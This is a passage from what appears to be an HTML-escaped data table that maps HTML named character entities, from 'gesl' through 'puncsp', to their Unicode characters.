ot;,gesl:&quot;⋛︀&quot;,gesles:&quot;⪔&quot;,gfr:&quot;𝔤&quot;,Gfr:&quot;𝔊&quot;,gg:&quot;≫&quot;,Gg:&quot;⋙&quot;,ggg:&quot;⋙&quot;,gimel:&quot;ℷ&quot;,gjcy:&quot;ѓ&quot;,GJcy:&quot;Ѓ&quot;,gl:&quot;≷&quot;,gla:&quot;⪥&quot;,glE:&quot;⪒&quot;,glj:&quot;⪤&quot;,gnap:&quot;⪊&quot;,gnapprox:&quot;⪊&quot;,gne:&quot;⪈&quot;,gnE:&quot;≩&quot;,gneq:&quot;⪈&quot;,gneqq:&quot;≩&quot;,gnsim:&quot;⋧&quot;,gopf:&quot;𝕘&quot;,Gopf:&quot;𝔾&quot;,grave:&quot;`&quot;,GreaterEqual:&quot;≥&quot;,GreaterEqualLess:&quot;⋛&quot;,GreaterFullEqual:&quot;≧&quot;,GreaterGreater:&quot;⪢&quot;,GreaterLess:&quot;≷&quot;,GreaterSlantEqual:&quot;⩾&quot;,GreaterTilde:&quot;≳&quot;,gscr:&quot;ℊ&quot;,Gscr:&quot;𝒢&quot;,gsim:&quot;≳&quot;,gsime:&quot;⪎&quot;,gsiml:&quot;⪐&quot;,gt:&quot;&gt;&quot;,Gt:&quot;≫&quot;,GT:&quot;&gt;&quot;,gtcc:&quot;⪧&quot;,gtcir:&quot;⩺&quot;,gtdot:&quot;⋗&quot;,gtlPar:&quot;⦕&quot;,gtquest:&quot;⩼&quot;,gtrapprox:&quot;⪆&quot;,gtrarr:&quot;⥸&quot;,gtrdot:&quot;⋗&quot;,gtreqless:&quot;⋛&quot;,gtreqqless:&quot;⪌&quot;,gtrless:&quot;≷&quot;,gtrsim:&quot;≳&quot;,gvertneqq:&quot;≩︀&quot;,gvnE:&quot;≩︀&quot;,Hacek:&quot;ˇ&quot;,hairsp:&quot; &quot;,half:&quot;½&quot;,hamilt:&quot;ℋ&quot;,hardcy:&quot;ъ&quot;,HARDcy:&quot;Ъ&quot;,harr:&quot;↔&quot;,hArr:&quot;⇔&quot;,harrcir:&quot;⥈&quot;,harrw:&quot;↭&quot;,Hat:&quot;^&quot;,hbar:&quot;ℏ&quot;,hcirc:&quot;ĥ&quot;,Hcirc:&quot;Ĥ&quot;,hearts:&quot;♥&quot;,heartsuit:&quot;♥&quot;,hellip:&quot;…&quot;,hercon:&quot;⊹&quot;,hfr:&quot;𝔥&quot;,Hfr:&quot;ℌ&quot;,HilbertSpace:&quot;ℋ&quot;,hksearow:&quot;⤥&quot;,hkswarow:&quot;⤦&quot;,hoarr:&quot;⇿&quot;,homtht:&quot;∻&quot;,hookleftarrow:&quot;↩&quot;,hookrightarrow:&quot;↪&quot;,hopf:&quot;𝕙&quot;,Hopf:&quot;ℍ&quot;,horbar:&quot;―&quot;,HorizontalLine:&quot;─&quot;,hscr:&quot;𝒽&quot;,Hscr:&quot;ℋ&quot;,hslash:&quot;ℏ&quot;,hstrok:&quot;ħ&quot;,Hstrok:&quot;Ħ&quot;,HumpDownHump:&quot;≎&quot;,HumpEqual:&quot;≏&quot;,hybull:&quot;⁃&quot;,hyphen:&quot;‐&quot;,iacute:&quot;í&quot;,Iacute:&quot;Í&quot;,ic:&quot;⁣&quot;,icirc:&quot;î&quot;,Icirc:&quot;Î&quot;,icy:&quot;и&quot;,Icy:&quot;И&quot;,Idot:&quot;İ&quot;,iecy:&quot;е&quot;,IEcy:&quot;Е&quot;,iexcl:&quot;¡&quot;,iff:&quot;⇔&quot;,ifr:&quot;𝔦&quot;,Ifr:&quot;ℑ&quot;,igrave:&quot;ì&quot;,Igrave:&quot;Ì&quot;,ii:&quot;ⅈ&quot;,iiiint:&quot;⨌&quot;,iiint:&quot;∭&quot;,iinfin:&quot;⧜&quot;,iiota:&quot;℩&quot;,ijlig:&quot;ĳ&quot;,IJlig:&quot;Ĳ&quot;,Im:&quot;ℑ&quot;,imacr:&quot;ī&quot;,Imacr:&quot;Ī&quot;,image:&quot;ℑ&quot;,ImaginaryI:&quot;ⅈ&quot;,imagline:&quot;ℐ&quot;,imagpart:&quot;ℑ&quot;,imath:&quot;ı&quot;,imof:&quot;⊷&quot;,imped:&quot;Ƶ&quot;,Implies:&quot;⇒&quot;,in:&quot;∈&quot;,incare:&quot;℅&quot;,infin:&quot;∞&quot;,infintie:&quot;⧝&quot;,inodot:&quot;ı&quot;,int:&quot;∫&quot;,Int:&quot;∬&quot;,intcal:&quot;⊺&quot;,integers:&quot;ℤ&quot;,Integral:&quot;∫&quot;,intercal:&quot;⊺&quot;,Intersection:&quot;⋂&quot;,intlarhk:&quot;⨗&quot;,intprod:&quot;⨼&quot;,InvisibleComma:&quot;⁣&quot;,InvisibleTimes:&quot;⁢&quot;,iocy:&quot;ё&quot;,IOcy:&quot;Ё&quot;,iogon:&quot;į&quot;,Iogon:&quot;Į&quot;,iopf:&quot;𝕚&quot;,Iopf:&quot;𝕀&quot;,iota:&quot;ι&quot;,Iota:&quot;Ι&quot;,iprod:&quot;⨼&quot;,iquest:&quot;¿&quot;,iscr:&quot;𝒾&quot;,Iscr:&quot;ℐ&quot;,isin:&quot;∈&quot;,isindot:&quot;⋵&quot;,isinE:&quot;⋹&quot;,isins:&quot;⋴&quot;,isinsv:&quot;⋳&quot;,isinv:&quot;∈&quot;,it:&quot;⁢&quot;,itilde:&quot;ĩ&quot;,Itilde:&quot;Ĩ&quot;,iukcy:&quot;і&quot;,Iukcy:&quot;І&quot;,iuml:&quot;ï&quot;,Iuml:&quot;Ï&quot;,jcirc:&quot;ĵ&quot;,Jcirc:&quot;Ĵ&quot;,jcy:&quot;й&quot;,Jcy:&quot;Й&quot;,jfr:&quot;𝔧&quot;,Jfr:&quot;𝔍&quot;,jmath:&quot;ȷ&quot;,jopf:&quot;𝕛&quot;,Jopf:&quot;𝕁&quot;,jscr:&quot;𝒿&quot;,Jscr:&quot;𝒥&quot;,jsercy:&quot;ј&quot;,Jsercy:&quot;Ј&quot;,jukcy:&quot;є&quot;,Jukcy:&quot;Є&quot;,kappa:&quot;κ&quot;,Kappa:&quot;Κ&quot;,kappav:&quot;ϰ&quot;,kcedil:&quot;ķ&quot;,Kcedil:&quot;Ķ&quot;,kcy:&quot;к&quot;,Kcy:&quot;К&quot;,kfr:&quot;𝔨&quot;,Kfr:&quot;𝔎&quot;,kgreen:&quot;ĸ&quot;,khcy:&quot;х&quot;,KHcy:&quot;Х&quot;,kjcy:&quot;ќ&quot;,KJcy:&quot;Ќ&quot;,kopf:&quot;𝕜&quot;,Kopf:&quot;𝕂&quot;,kscr:&quot;𝓀&quot;,Kscr:&quot;𝒦&quot;,lAarr:&quot;⇚&quot;,lacute:&quot;ĺ&quot;,Lacute:&quot;Ĺ&quot;,laemptyv:&quot;⦴&quot;,lagran:&quot;ℒ&quot;,lambda:&quot;λ&quot;,Lambda:&quot;Λ&quot;,lang:&quot;⟨&quot;,Lang:&quot;⟪&quot;,langd:&quot;⦑&quot;,langle:&quot;⟨&quot;,lap:&quot;⪅&quot;,Laplacetrf:&quot;ℒ&quot;,laquo:&quot;«&quot;,larr:&quot;←&quot;,lArr:&quot;⇐&quot;,Larr:&quot;↞&quot;,larrb:&quot;⇤&quot;,larrbfs:&quot;⤟&quot;,larrfs:&quot;⤝&quot;,larrhk:&quot;↩&quot;,larrlp:&quot;↫&quot;,larrpl:&quot;⤹&quot;,larrsim:&quot;⥳&quot;,larrtl:&quot;↢&quot;,lat:&quot;⪫&quot;,latail:&quot;⤙&quot;,lAtail:&quot;⤛&quot;,late:&quot;⪭&quot;,lates:&quot;⪭︀&quot;,lbarr:&quot;⤌&quot;,lBarr:&quot;⤎&quot;,lbbrk:&quot;❲&quot;,lbrace:&quot;{&quot;,lbrack:&quot;[&quot;,lbrke:&quot;⦋&quot;,lbrksld:&quot;⦏&quot;,lbrkslu:&quot;⦍&quot;,lcaron:&quot;ľ&quot;,Lcaron:&quot;Ľ&quot;,lcedil:&quot;ļ&quot;,Lcedil:&quot;Ļ&quot;,lceil:&quot;⌈&quot;,lcub:&quot;{&quot;,lcy:&quot;л&quot;,Lcy:&quot;Л&quot;,ldca:&quot;⤶&quot;,ldquo:&quot;“&quot;,ldquor:&quot;„&quot;,ldrdhar:&quot;⥧&quot;,ldrushar:&quot;⥋&quot;,ldsh:&quot;↲&quot;,le:&quot;≤&quot;,lE:&quot;≦&quot;,LeftAngleBracket:&quot;⟨&quot;,leftarrow:&quot;←&quot;,Leftarrow:&quot;⇐&quot;,LeftArrow:&quot;←&quot;,LeftArrowBar:&quot;⇤&quot;,LeftArrowRightArrow:&quot;⇆&quot;,leftarrowtail:&quot;↢&quot;,LeftCeiling:&quot;⌈&quot;,LeftDoubleBracket:&quot;⟦&quot;,LeftDownTeeVector:&quot;⥡&quot;,LeftDownVector:&quot;⇃&quot;,LeftDownVectorBar:&quot;⥙&quot;,LeftFloor:&quot;⌊&quot;,leftharpoondown:&quot;↽&quot;,leftharpoonup:&quot;↼&quot;,leftleftarrows:&quot;⇇&quot;,leftrightarrow:&quot;↔&quot;,Leftrightarrow:&quot;⇔&quot;,LeftRightArrow:&quot;↔&quot;,leftrightarrows:&quot;⇆&quot;,leftrightharpoons:&quot;⇋&quot;,leftrightsquigarrow:&quot;↭&quot;,LeftRightVector:&quot;⥎&quot;,LeftTee:&quot;⊣&quot;,LeftTeeArrow:&quot;↤&quot;,LeftTeeVector:&quot;⥚&quot;,leftthreetimes:&quot;⋋&quot;,LeftTriangle:&quot;⊲&quot;,LeftTriangleBar:&quot;⧏&quot;,LeftTriangleEqual:&quot;⊴&quot;,LeftUpDownVector:&quot;⥑&quot;,LeftUpTeeVector:&quot;⥠&quot;,LeftUpVector:&quot;↿&quot;,LeftUpVectorBar:&quot;⥘&quot;,LeftVector:&quot;↼&quot;,LeftVectorBar:&quot;⥒&quot;,leg:&quot;⋚&quot;,lEg:&quot;⪋&quot;,leq:&quot;≤&quot;,leqq:&quot;≦&quot;,leqslant:&quot;⩽&quot;,les:&quot;⩽&quot;,lescc:&quot;⪨&quot;,lesdot:&quot;⩿&quot;,lesdoto:&quot;⪁&quot;,lesdotor:&quot;⪃&quot;,lesg:&quot;⋚︀&quot;,lesges:&quot;⪓&quot;,lessapprox:&quot;⪅&quot;,lessdot:&quot;⋖&quot;,lesseqgtr:&quot;⋚&quot;,lesseqqgtr:&quot;⪋&quot;,LessEqualGreater:&quot;⋚&quot;,LessFullEqual:&quot;≦&quot;,LessGreater:&quot;≶&quot;,lessgtr:&quot;≶&quot;,LessLess:&quot;⪡&quot;,lesssim:&quot;≲&quot;,LessSlantEqual:&quot;⩽&quot;,LessTilde:&quot;≲&quot;,lfisht:&quot;⥼&quot;,lfloor:&quot;⌊&quot;,lfr:&quot;𝔩&quot;,Lfr:&quot;𝔏&quot;,lg:&quot;≶&quot;,lgE:&quot;⪑&quot;,lHar:&quot;⥢&quot;,lhard:&quot;↽&quot;,lharu:&quot;↼&quot;,lharul:&quot;⥪&quot;,lhblk:&quot;▄&quot;,ljcy:&quot;љ&quot;,LJcy:&quot;Љ&quot;,ll:&quot;≪&quot;,Ll:&quot;⋘&quot;,llarr:&quot;⇇&quot;,llcorner:&quot;⌞&quot;,Lleftarrow:&quot;⇚&quot;,llhard:&quot;⥫&quot;,lltri:&quot;◺&quot;,lmidot:&quot;ŀ&quot;,Lmidot:&quot;Ŀ&quot;,lmoust:&quot;⎰&quot;,lmoustache:&quot;⎰&quot;,lnap:&quot;⪉&quot;,lnapprox:&quot;⪉&quot;,lne:&quot;⪇&quot;,lnE:&quot;≨&quot;,lneq:&quot;⪇&quot;,lneqq:&quot;≨&quot;,lnsim:&quot;⋦&quot;,loang:&quot;⟬&quot;,loarr:&quot;⇽&quot;,lobrk:&quot;⟦&quot;,longleftarrow:&quot;⟵&quot;,Longleftarrow:&quot;⟸&quot;,LongLeftArrow:&quot;⟵&quot;,longleftrightarrow:&quot;⟷&quot;,Longleftrightarrow:&quot;⟺&quot;,LongLeftRightArrow:&quot;⟷&quot;,longmapsto:&quot;⟼&quot;,longrightarrow:&quot;⟶&quot;,Longrightarrow:&quot;⟹&quot;,LongRightArrow:&quot;⟶&quot;,looparrowleft:&quot;↫&quot;,looparrowright:&quot;↬&quot;,lopar:&quot;⦅&quot;,lopf:&quot;𝕝&quot;,Lopf:&quot;𝕃&quot;,loplus:&quot;⨭&quot;,lotimes:&quot;⨴&quot;,lowast:&quot;∗&quot;,lowbar:&quot;_&quot;,LowerLeftArrow:&quot;↙&quot;,LowerRightArrow:&quot;↘&quot;,loz:&quot;◊&quot;,lozenge:&quot;◊&quot;,lozf:&quot;⧫&quot;,lpar:&quot;(&quot;,lparlt:&quot;⦓&quot;,lrarr:&quot;⇆&quot;,lrcorner:&quot;⌟&quot;,lrhar:&quot;⇋&quot;,lrhard:&quot;⥭&quot;,lrm:&quot;‎&quot;,lrtri:&quot;⊿&quot;,lsaquo:&quot;‹&quot;,lscr:&quot;𝓁&quot;,Lscr:&quot;ℒ&quot;,lsh:&quot;↰&quot;,Lsh:&quot;↰&quot;,lsim:&quot;≲&quot;,lsime:&quot;⪍&quot;,lsimg:&quot;⪏&quot;,lsqb:&quot;[&quot;,lsquo:&quot;‘&quot;,lsquor:&quot;‚&quot;,lstrok:&quot;ł&quot;,Lstrok:&quot;Ł&quot;,lt:&quot;&lt;&quot;,Lt:&quot;≪&quot;,LT:&quot;&lt;&quot;,ltcc:&quot;⪦&quot;,ltcir:&quot;⩹&quot;,ltdot:&quot;⋖&quot;,lthree:&quot;⋋&quot;,ltimes:&quot;⋉&quot;,ltlarr:&quot;⥶&quot;,ltquest:&quot;⩻&quot;,ltri:&quot;◃&quot;,ltrie:&quot;⊴&quot;,ltrif:&quot;◂&quot;,ltrPar:&quot;⦖&quot;,lurdshar:&quot;⥊&quot;,luruhar:&quot;⥦&quot;,lvertneqq:&quot;≨︀&quot;,lvnE:&quot;≨︀&quot;,macr:&quot;¯&quot;,male:&quot;♂&quot;,malt:&quot;✠&quot;,maltese:&quot;✠&quot;,map:&quot;↦&quot;,Map:&quot;⤅&quot;,mapsto:&quot;↦&quot;,mapstodown:&quot;↧&quot;,mapstoleft:&quot;↤&quot;,mapstoup:&quot;↥&quot;,marker:&quot;▮&quot;,mcomma:&quot;⨩&quot;,mcy:&quot;м&quot;,Mcy:&quot;М&quot;,mdash:&quot;—&quot;,mDDot:&quot;∺&quot;,measuredangle:&quot;∡&quot;,MediumSpace:&quot; &quot;,Mellintrf:&quot;ℳ&quot;,mfr:&quot;𝔪&quot;,Mfr:&quot;𝔐&quot;,mho:&quot;℧&quot;,micro:&quot;µ&quot;,mid:&quot;∣&quot;,midast:&quot;*&quot;,midcir:&quot;⫰&quot;,middot:&quot;·&quot;,minus:&quot;−&quot;,minusb:&quot;⊟&quot;,minusd:&quot;∸&quot;,minusdu:&quot;⨪&quot;,MinusPlus:&quot;∓&quot;,mlcp:&quot;⫛&quot;,mldr:&quot;…&quot;,mnplus:&quot;∓&quot;,models:&quot;⊧&quot;,mopf:&quot;𝕞&quot;,Mopf:&quot;𝕄&quot;,mp:&quot;∓&quot;,mscr:&quot;𝓂&quot;,Mscr:&quot;ℳ&quot;,mstpos:&quot;∾&quot;,mu:&quot;μ&quot;,Mu:&quot;Μ&quot;,multimap:&quot;⊸&quot;,mumap:&quot;⊸&quot;,nabla:&quot;∇&quot;,nacute:&quot;ń&quot;,Nacute:&quot;Ń&quot;,nang:&quot;∠⃒&quot;,nap:&quot;≉&quot;,napE:&quot;⩰̸&quot;,napid:&quot;≋̸&quot;,napos:&quot;ŉ&quot;,napprox:&quot;≉&quot;,natur:&quot;♮&quot;,natural:&quot;♮&quot;,naturals:&quot;ℕ&quot;,nbsp:&quot; &quot;,nbump:&quot;≎̸&quot;,nbumpe:&quot;≏̸&quot;,ncap:&quot;⩃&quot;,ncaron:&quot;ň&quot;,Ncaron:&quot;Ň&quot;,ncedil:&quot;ņ&quot;,Ncedil:&quot;Ņ&quot;,ncong:&quot;≇&quot;,ncongdot:&quot;⩭̸&quot;,ncup:&quot;⩂&quot;,ncy:&quot;н&quot;,Ncy:&quot;Н&quot;,ndash:&quot;–&quot;,ne:&quot;≠&quot;,nearhk:&quot;⤤&quot;,nearr:&quot;↗&quot;,neArr:&quot;⇗&quot;,nearrow:&quot;↗&quot;,nedot:&quot;≐̸&quot;,NegativeMediumSpace:&quot;​&quot;,NegativeThickSpace:&quot;​&quot;,NegativeThinSpace:&quot;​&quot;,NegativeVeryThinSpace:&quot;​&quot;,nequiv:&quot;≢&quot;,nesear:&quot;⤨&quot;,nesim:&quot;≂̸&quot;,NestedGreaterGreater:&quot;≫&quot;,NestedLessLess:&quot;≪&quot;,NewLine:&quot;\n&quot;,nexist:&quot;∄&quot;,nexists:&quot;∄&quot;,nfr:&quot;𝔫&quot;,Nfr:&quot;𝔑&quot;,nge:&quot;≱&quot;,ngE:&quot;≧̸&quot;,ngeq:&quot;≱&quot;,ngeqq:&quot;≧̸&quot;,ngeqslant:&quot;⩾̸&quot;,nges:&quot;⩾̸&quot;,nGg:&quot;⋙̸&quot;,ngsim:&quot;≵&quot;,ngt:&quot;≯&quot;,nGt:&quot;≫⃒&quot;,ngtr:&quot;≯&quot;,nGtv:&quot;≫̸&quot;,nharr:&quot;↮&quot;,nhArr:&quot;⇎&quot;,nhpar:&quot;⫲&quot;,ni:&quot;∋&quot;,nis:&quot;⋼&quot;,nisd:&quot;⋺&quot;,niv:&quot;∋&quot;,njcy:&quot;њ&quot;,NJcy:&quot;Њ&quot;,nlarr:&quot;↚&quot;,nlArr:&quot;⇍&quot;,nldr:&quot;‥&quot;,nle:&quot;≰&quot;,nlE:&quot;≦̸&quot;,nleftarrow:&quot;↚&quot;,nLeftarrow:&quot;⇍&quot;,nleftrightarrow:&quot;↮&quot;,nLeftrightarrow:&quot;⇎&quot;,nleq:&quot;≰&quot;,nleqq:&quot;≦̸&quot;,nleqslant:&quot;⩽̸&quot;,nles:&quot;⩽̸&quot;,nless:&quot;≮&quot;,nLl:&quot;⋘̸&quot;,nlsim:&quot;≴&quot;,nlt:&quot;≮&quot;,nLt:&quot;≪⃒&quot;,nltri:&quot;⋪&quot;,nltrie:&quot;⋬&quot;,nLtv:&quot;≪̸&quot;,nmid:&quot;∤&quot;,NoBreak:&quot;⁠&quot;,NonBreakingSpace:&quot; &quot;,nopf:&quot;𝕟&quot;,Nopf:&quot;ℕ&quot;,not:&quot;¬&quot;,Not:&quot;⫬&quot;,NotCongruent:&quot;≢&quot;,NotCupCap:&quot;≭&quot;,NotDoubleVerticalBar:&quot;∦&quot;,NotElement:&quot;∉&quot;,NotEqual:&quot;≠&quot;,NotEqualTilde:&quot;≂̸&quot;,NotExists:&quot;∄&quot;,NotGreater:&quot;≯&quot;,NotGreaterEqual:&quot;≱&quot;,NotGreaterFullEqual:&quot;≧̸&quot;,NotGreaterGreater:&quot;≫̸&quot;,NotGreaterLess:&quot;≹&quot;,NotGreaterSlantEqual:&quot;⩾̸&quot;,NotGreaterTilde:&quot;≵&quot;,NotHumpDownHump:&quot;≎̸&quot;,NotHumpEqual:&quot;≏̸&quot;,notin:&quot;∉&quot;,notindot:&quot;⋵̸&quot;,notinE:&quot;⋹̸&quot;,notinva:&quot;∉&quot;,notinvb:&quot;⋷&quot;,notinvc:&quot;⋶&quot;,NotLeftTriangle:&quot;⋪&quot;,NotLeftTriangleBar:&quot;⧏̸&quot;,NotLeftTriangleEqual:&quot;⋬&quot;,NotLess:&quot;≮&quot;,NotLessEqual:&quot;≰&quot;,NotLessGreater:&quot;≸&quot;,NotLessLess:&quot;≪̸&quot;,NotLessSlantEqual:&quot;⩽̸&quot;,NotLessTilde:&quot;≴&quot;,NotNestedGreaterGreater:&quot;⪢̸&quot;,NotNestedLessLess:&quot;⪡̸&quot;,notni:&quot;∌&quot;,notniva:&quot;∌&quot;,notnivb:&quot;⋾&quot;,notnivc:&quot;⋽&quot;,NotPrecedes:&quot;⊀&quot;,NotPrecedesEqual:&quot;⪯̸&quot;,NotPrecedesSlantEqual:&quot;⋠&quot;,NotReverseElement:&quot;∌&quot;,NotRightTriangle:&quot;⋫&quot;,NotRightTriangleBar:&quot;⧐̸&quot;,NotRightTriangleEqual:&quot;⋭&quot;,NotSquareSubset:&quot;⊏̸&quot;,NotSquareSubsetEqual:&quot;⋢&quot;,NotSquareSuperset:&quot;⊐̸&quot;,NotSquareSupersetEqual:&quot;⋣&quot;,NotSubset:&quot;⊂⃒&quot;,NotSubsetEqual:&quot;⊈&quot;,NotSucceeds:&quot;⊁&quot;,NotSucceedsEqual:&quot;⪰̸&quot;,NotSucceedsSlantEqual:&quot;⋡&quot;,NotSucceedsTilde:&quot;≿̸&quot;,NotSuperset:&quot;⊃⃒&quot;,NotSupersetEqual:&quot;⊉&quot;,NotTilde:&quot;≁&quot;,NotTildeEqual:&quot;≄&quot;,NotTildeFullEqual:&quot;≇&quot;,NotTildeTilde:&quot;≉&quot;,NotVerticalBar:&quot;∤&quot;,npar:&quot;∦&quot;,nparallel:&quot;∦&quot;,nparsl:&quot;⫽⃥&quot;,npart:&quot;∂̸&quot;,npolint:&quot;⨔&quot;,npr:&quot;⊀&quot;,nprcue:&quot;⋠&quot;,npre:&quot;⪯̸&quot;,nprec:&quot;⊀&quot;,npreceq:&quot;⪯̸&quot;,nrarr:&quot;↛&quot;,nrArr:&quot;⇏&quot;,nrarrc:&quot;⤳̸&quot;,nrarrw:&quot;↝̸&quot;,nrightarrow:&quot;↛&quot;,nRightarrow:&quot;⇏&quot;,nrtri:&quot;⋫&quot;,nrtrie:&quot;⋭&quot;,nsc:&quot;⊁&quot;,nsccue:&quot;⋡&quot;,nsce:&quot;⪰̸&quot;,nscr:&quot;𝓃&quot;,Nscr:&quot;𝒩&quot;,nshortmid:&quot;∤&quot;,nshortparallel:&quot;∦&quot;,nsim:&quot;≁&quot;,nsime:&quot;≄&quot;,nsimeq:&quot;≄&quot;,nsmid:&quot;∤&quot;,nspar:&quot;∦&quot;,nsqsube:&quot;⋢&quot;,nsqsupe:&quot;⋣&quot;,nsub:&quot;⊄&quot;,nsube:&quot;⊈&quot;,nsubE:&quot;⫅̸&quot;,nsubset:&quot;⊂⃒&quot;,nsubseteq:&quot;⊈&quot;,nsubseteqq:&quot;⫅̸&quot;,nsucc:&quot;⊁&quot;,nsucceq:&quot;⪰̸&quot;,nsup:&quot;⊅&quot;,nsupe:&quot;⊉&quot;,nsupE:&quot;⫆̸&quot;,nsupset:&quot;⊃⃒&quot;,nsupseteq:&quot;⊉&quot;,nsupseteqq:&quot;⫆̸&quot;,ntgl:&quot;≹&quot;,ntilde:&quot;ñ&quot;,Ntilde:&quot;Ñ&quot;,ntlg:&quot;≸&quot;,ntriangleleft:&quot;⋪&quot;,ntrianglelefteq:&quot;⋬&quot;,ntriangleright:&quot;⋫&quot;,ntrianglerighteq:&quot;⋭&quot;,nu:&quot;ν&quot;,Nu:&quot;Ν&quot;,num:&quot;#&quot;,numero:&quot;№&quot;,numsp:&quot; &quot;,nvap:&quot;≍⃒&quot;,nvdash:&quot;⊬&quot;,nvDash:&quot;⊭&quot;,nVdash:&quot;⊮&quot;,nVDash:&quot;⊯&quot;,nvge:&quot;≥⃒&quot;,nvgt:&quot;&gt;⃒&quot;,nvHarr:&quot;⤄&quot;,nvinfin:&quot;⧞&quot;,nvlArr:&quot;⤂&quot;,nvle:&quot;≤⃒&quot;,nvlt:&quot;&lt;⃒&quot;,nvltrie:&quot;⊴⃒&quot;,nvrArr:&quot;⤃&quot;,nvrtrie:&quot;⊵⃒&quot;,nvsim:&quot;∼⃒&quot;,nwarhk:&quot;⤣&quot;,nwarr:&quot;↖&quot;,nwArr:&quot;⇖&quot;,nwarrow:&quot;↖&quot;,nwnear:&quot;⤧&quot;,oacute:&quot;ó&quot;,Oacute:&quot;Ó&quot;,oast:&quot;⊛&quot;,ocir:&quot;⊚&quot;,ocirc:&quot;ô&quot;,Ocirc:&quot;Ô&quot;,ocy:&quot;о&quot;,Ocy:&quot;О&quot;,odash:&quot;⊝&quot;,odblac:&quot;ő&quot;,Odblac:&quot;Ő&quot;,odiv:&quot;⨸&quot;,odot:&quot;⊙&quot;,odsold:&quot;⦼&quot;,oelig:&quot;œ&quot;,OElig:&quot;Œ&quot;,ofcir:&quot;⦿&quot;,ofr:&quot;𝔬&quot;,Ofr:&quot;𝔒&quot;,ogon:&quot;˛&quot;,ograve:&quot;ò&quot;,Ograve:&quot;Ò&quot;,ogt:&quot;⧁&quot;,ohbar:&quot;⦵&quot;,ohm:&quot;Ω&quot;,oint:&quot;∮&quot;,olarr:&quot;↺&quot;,olcir:&quot;⦾&quot;,olcross:&quot;⦻&quot;,oline:&quot;‾&quot;,olt:&quot;⧀&quot;,omacr:&quot;ō&quot;,Omacr:&quot;Ō&quot;,omega:&quot;ω&quot;,Omega:&quot;Ω&quot;,omicron:&quot;ο&quot;,Omicron:&quot;Ο&quot;,omid:&quot;⦶&quot;,ominus:&quot;⊖&quot;,oopf:&quot;𝕠&quot;,Oopf:&quot;𝕆&quot;,opar:&quot;⦷&quot;,OpenCurlyDoubleQuote:&quot;“&quot;,OpenCurlyQuote:&quot;‘&quot;,operp:&quot;⦹&quot;,oplus:&quot;⊕&quot;,or:&quot;∨&quot;,Or:&quot;⩔&quot;,orarr:&quot;↻&quot;,ord:&quot;⩝&quot;,order:&quot;ℴ&quot;,orderof:&quot;ℴ&quot;,ordf:&quot;ª&quot;,ordm:&quot;º&quot;,origof:&quot;⊶&quot;,oror:&quot;⩖&quot;,orslope:&quot;⩗&quot;,orv:&quot;⩛&quot;,oS:&quot;Ⓢ&quot;,oscr:&quot;ℴ&quot;,Oscr:&quot;𝒪&quot;,oslash:&quot;ø&quot;,Oslash:&quot;Ø&quot;,osol:&quot;⊘&quot;,otilde:&quot;õ&quot;,Otilde:&quot;Õ&quot;,otimes:&quot;⊗&quot;,Otimes:&quot;⨷&quot;,otimesas:&quot;⨶&quot;,ouml:&quot;ö&quot;,Ouml:&quot;Ö&quot;,ovbar:&quot;⌽&quot;,OverBar:&quot;‾&quot;,OverBrace:&quot;⏞&quot;,OverBracket:&quot;⎴&quot;,OverParenthesis:&quot;⏜&quot;,par:&quot;∥&quot;,para:&quot;¶&quot;,parallel:&quot;∥&quot;,parsim:&quot;⫳&quot;,parsl:&quot;⫽&quot;,part:&quot;∂&quot;,PartialD:&quot;∂&quot;,pcy:&quot;п&quot;,Pcy:&quot;П&quot;,percnt:&quot;%&quot;,period:&quot;.&quot;,permil:&quot;‰&quot;,perp:&quot;⊥&quot;,pertenk:&quot;‱&quot;,pfr:&quot;𝔭&quot;,Pfr:&quot;𝔓&quot;,phi:&quot;φ&quot;,Phi:&quot;Φ&quot;,phiv:&quot;ϕ&quot;,phmmat:&quot;ℳ&quot;,phone:&quot;☎&quot;,pi:&quot;π&quot;,Pi:&quot;Π&quot;,pitchfork:&quot;⋔&quot;,piv:&quot;ϖ&quot;,planck:&quot;ℏ&quot;,planckh:&quot;ℎ&quot;,plankv:&quot;ℏ&quot;,plus:&quot;+&quot;,plusacir:&quot;⨣&quot;,plusb:&quot;⊞&quot;,pluscir:&quot;⨢&quot;,plusdo:&quot;∔&quot;,plusdu:&quot;⨥&quot;,pluse:&quot;⩲&quot;,PlusMinus:&quot;±&quot;,plusmn:&quot;±&quot;,plussim:&quot;⨦&quot;,plustwo:&quot;⨧&quot;,pm:&quot;±&quot;,Poincareplane:&quot;ℌ&quot;,pointint:&quot;⨕&quot;,popf:&quot;𝕡&quot;,Popf:&quot;ℙ&quot;,pound:&quot;£&quot;,pr:&quot;≺&quot;,Pr:&quot;⪻&quot;,prap:&quot;⪷&quot;,prcue:&quot;≼&quot;,pre:&quot;⪯&quot;,prE:&quot;⪳&quot;,prec:&quot;≺&quot;,precapprox:&quot;⪷&quot;,preccurlyeq:&quot;≼&quot;,Precedes:&quot;≺&quot;,PrecedesEqual:&quot;⪯&quot;,PrecedesSlantEqual:&quot;≼&quot;,PrecedesTilde:&quot;≾&quot;,preceq:&quot;⪯&quot;,precnapprox:&quot;⪹&quot;,precneqq:&quot;⪵&quot;,precnsim:&quot;⋨&quot;,precsim:&quot;≾&quot;,prime:&quot;′&quot;,Prime:&quot;″&quot;,primes:&quot;ℙ&quot;,prnap:&quot;⪹&quot;,prnE:&quot;⪵&quot;,prnsim:&quot;⋨&quot;,prod:&quot;∏&quot;,Product:&quot;∏&quot;,profalar:&quot;⌮&quot;,profline:&quot;⌒&quot;,profsurf:&quot;⌓&quot;,prop:&quot;∝&quot;,Proportion:&quot;∷&quot;,Proportional:&quot;∝&quot;,propto:&quot;∝&quot;,prsim:&quot;≾&quot;,prurel:&quot;⊰&quot;,pscr:&quot;𝓅&quot;,Pscr:&quot;𝒫&quot;,psi:&quot;ψ&quot;,Psi:&quot;Ψ&quot;,puncsp:&quot; 